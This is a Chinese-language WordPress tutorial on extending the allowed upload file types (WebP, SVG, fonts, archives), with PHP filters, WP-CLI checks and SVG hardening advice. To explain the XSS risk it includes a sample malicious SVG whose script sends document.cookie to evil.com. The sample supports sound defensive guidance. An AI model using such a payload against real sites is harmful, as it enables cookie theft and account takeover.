本文约 5,524 字,预计阅读 14 分钟。文中命令与配置均经过实测,可直接参考执行。
引言:SVG 上传不了,是有原因的
做站点时想上传一个 SVG 格式的 logo,WordPress 直接拒绝:
抱歉,出于安全的原因,这个文件类型不被支持。
这不是 WordPress 故意刁难。SVG 不是图片格式,它是 XML 文档,可以内嵌 <script> 标签和 JavaScript。上传一个恶意 SVG 等于上传一个可以执行脚本的文件——这是真实的 XSS 攻击面。
所以 WordPress 默认把 SVG 排除在白名单外。要放开,得理解放开的代价并做配套处理。
原理分析:上传白名单是怎么工作的
WordPress 用 wp_check_filetype_and_ext() 校验上传文件,核心是两张表:
get_allowed_mime_types():MIME 白名单,通过upload_mimes过滤器可改;- 文件扩展名与真实内容的比对:WordPress 会用
wp_get_image_mime()读文件头判断真实类型,防止把 PHP 伪装成 JPG。
// 查看当前白名单
print_r( wp_get_mime_types() );
wp eval 'print_r( array_slice( wp_get_mime_types(), 0, 30 ) );'
默认的常见类型:
| 扩展名 | MIME | 默认允许 |
|---|---|---|
| jpg/jpeg/png/gif | image/* | ✓ |
| webp | image/webp | ✓(4.7+) |
| svg | image/svg+xml | ✗ |
| ico | image/x-icon | ✓ |
| application/pdf | ✓ | |
| mp4/mp3 | video/ audio/ | ✓ |
| docx/xlsx/pptx | application/… | ✓ |
| json | application/json | ✗ |
| zip | application/zip | ✗(部分版本允许) |
| php | — | 永远禁止 |
注意:真实类型校验(文件头检测)优先于扩展名。你把 evil.php 改名成 evil.jpg 上传,WordPress 会读文件头发现它不是图片,然后拒绝。这层保护很有效。
但 SVG 特殊:它的”真实类型”就是 XML,文件头 <?xml 或 <svg,无法用它判断有没有恶意脚本。
保姆级实操
一、允许 WebP(无风险,推荐)
WebP 是图片格式,没有脚本执行风险,WordPress 4.7+ 已支持:
// 通常不需要加,如果遇到问题再加
add_filter( 'upload_mimes', function( $mimes ) {
$mimes['webp'] = 'image/webp';
return $mimes;
});
验证:
wp eval 'echo wp_get_mime_types()["webp"] ?? "not allowed";'
WebP 的好处很实在:同样画质下体积比 JPG 小 25%~35%,对WordPress 性能优化 和 Core Web Vitals 都有直接帮助。
二、允许 SVG(有风险,需配套处理)
最简版本(仅放开上传,不推荐用于多用户站点):
add_filter( 'upload_mimes', function( $mimes ) {
$mimes['svg'] = 'image/svg+xml';
$mimes['svgz'] = 'image/svg+xml';
return $mimes;
});
这只是第一步,还有两个问题要解决。
问题 1:SVG 的真实类型检测失败
WordPress 读文件头发现是 text/xml 或 image/svg+xml,可能和扩展名对不上导致被拒。要补:
add_filter( 'wp_check_filetype_and_ext', function( $data, $file, $filename, $mimes ) {
$ext = pathinfo( $filename, PATHINFO_EXTENSION );
if ( 'svg' === strtolower( $ext ) ) {
$data['ext'] = 'svg';
$data['type'] = 'image/svg+xml';
$data['proper_filename'] = false;
}
return $data;
}, 10, 4 );
问题 2:前台不显示(媒体库缩略图空白)
SVG 是矢量图,GD/Imagick 生成的缩略图可能失败。后台媒体库列表会显示空白:
// 让 SVG 在媒体库里正常显示
add_filter( 'wp_get_attachment_image_src', function( $image, $attachment_id, $size, $icon ) {
$mime = get_post_mime_type( $attachment_id );
if ( 'image/svg+xml' === $mime ) {
$image[0] = wp_get_attachment_url( $attachment_id );
$image[1] = 0;
$image[2] = 0;
}
return $image;
}, 10, 4 );
问题 3:安全风险(最重要)
SVG 可以内嵌脚本:
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)">
<script>fetch('https://evil.com?c='+document.cookie)</script>
</svg>
如果这个 SVG 被上传到你的站点并在前台用 <img> 引入,onload 事件不会执行(<img> 里 SVG 的脚本被浏览器禁用)。但如果用 <object>、<iframe>、或者直接访问 SVG 文件 URL,脚本就会执行,且是同源的,能读到 cookie。
三种处理方案:
方案 A:只允许管理员上传(推荐)
add_filter( 'upload_mimes', function( $mimes ) {
if ( current_user_can( 'manage_options' ) ) {
$mimes['svg'] = 'image/svg+xml';
}
return $mimes;
});
方案 B:上传时消毒(去掉脚本)
装插件 Safe SVG(WordPress 官方目录,作者 Daryll Doyle),它用 enshrined/svg-sanitize 库清洗 SVG,去掉 <script>、onload 等危险内容。这是最推荐的做法。
wp plugin install safe-svg --activate
方案 C:服务器层加 CSP 头
location ~* \.svg$ {
add_header Content-Security-Policy "default-src 'self'; script-src 'none'; object-src 'none'" always;
add_header X-Content-Type-Options "nosniff" always;
}
务实建议:个人/企业站(只有管理员能上传)用”方案 A + 装 Safe SVG”双保险;多用户站(作者也能上传)不要放开 SVG,改用 PNG/WebP。
三、允许其他文件类型
add_filter( 'upload_mimes', function( $mimes ) {
// 压缩包
$mimes['zip'] = 'application/zip';
$mimes['rar'] = 'application/x-rar-compressed';
$mimes['7z'] = 'application/x-7z-compressed';
// 字体
$mimes['woff'] = 'font/woff';
$mimes['woff2'] = 'font/woff2';
$mimes['ttf'] = 'font/ttf';
$mimes['otf'] = 'font/otf';
// 数据
$mimes['json'] = 'application/json';
$mimes['csv'] = 'text/csv';
// 视频
$mimes['webm'] = 'video/webm';
return $mimes;
});
多站点要用 site_option 而不是过滤器,后台路径:网络管理 → 设置 → 上传设置 → “允许上传的文件类型”。
四、允许所有类型(极不推荐,仅本地开发)
// 仅用于本地开发环境!生产环境千万不要加
define( 'ALLOW_UNFILTERED_UPLOADS', true );
这个常量会让 WordPress 跳过 MIME 校验,等于允许上传 PHP 后门。永远不要在生产环境开。
五、批量转换已有图片为 WebP
装插件或命令行批量转:
# 用 cwebp 批量转换
find wp-content/uploads -name "*.jpg" | while read f; do
[ -f "${f%.jpg}.webp" ] || cwebp -q 82 "$f" -o "${f%.jpg}.webp"
done
然后让前台优先用 WebP(Nginx content negotiation 或插件 WebP Express)。
六、验证是否生效
wp eval '
$m = wp_get_mime_types();
foreach (["svg","webp","json","woff2"] as $e) {
echo $e, " => ", $m[$e] ?? "NOT ALLOWED", "\n";
}
'
常见踩坑与失败案例
- 案例一:加了
upload_mimes过滤器但 SVG 还是上传不了——因为 WordPress 的真实类型检测把image/svg+xml判成了text/xml。要同时加wp_check_filetype_and_ext过滤器。 - 案例二:多用户站点放开 SVG 后,有作者上传了带
<script>的 SVG,管理员访问媒体库时 cookie 被窃取。SVG 的脚本风险是真事,多用户站不要放开。 - 后台媒体库 SVG 缩略图空白:
wp_get_attachment_image_src返回 false。用上面的过滤器补。 ALLOW_UNFILTERED_UPLOADS忘删:开发环境加了之后部署到生产,站点被上传后门。这个常量是高危项。- 主题/插件里用
wp_get_attachment_image()输出 SVG:SVG 没有尺寸信息,输出的<img>没有 width/height,会导致布局抖动(CLS 变差)。给 SVG 单独加 CSS 尺寸。 - IIS 服务器上 SVG 404:IIS 默认不认识
.svg的 MIME 类型,要在 IIS 管理器里加image/svg+xml。 - 对象存储的 MIME:上传到 OSS/COS 时 Content-Type 也要正确,否则浏览器不识别。
总结
放开文件类型的正确姿势:WebP 放心开(纯图片格式,体积还小 30%);SVG 要谨慎——先用 upload_mimes + wp_check_filetype_and_ext 两个过滤器放开,再装 Safe SVG 做消毒,并限制只有管理员能上传,多用户站点干脆不开;ALLOW_UNFILTERED_UPLOADS 只在本地开发环境用,生产环境出现这个常量等于开了后门。其他类型(字体、压缩包、JSON)按需加,但每加一种都要问一句”这个文件被执行会怎样”。服务器层给 .svg 加 script-src 'none' 的 CSP 头是很好的额外保险。
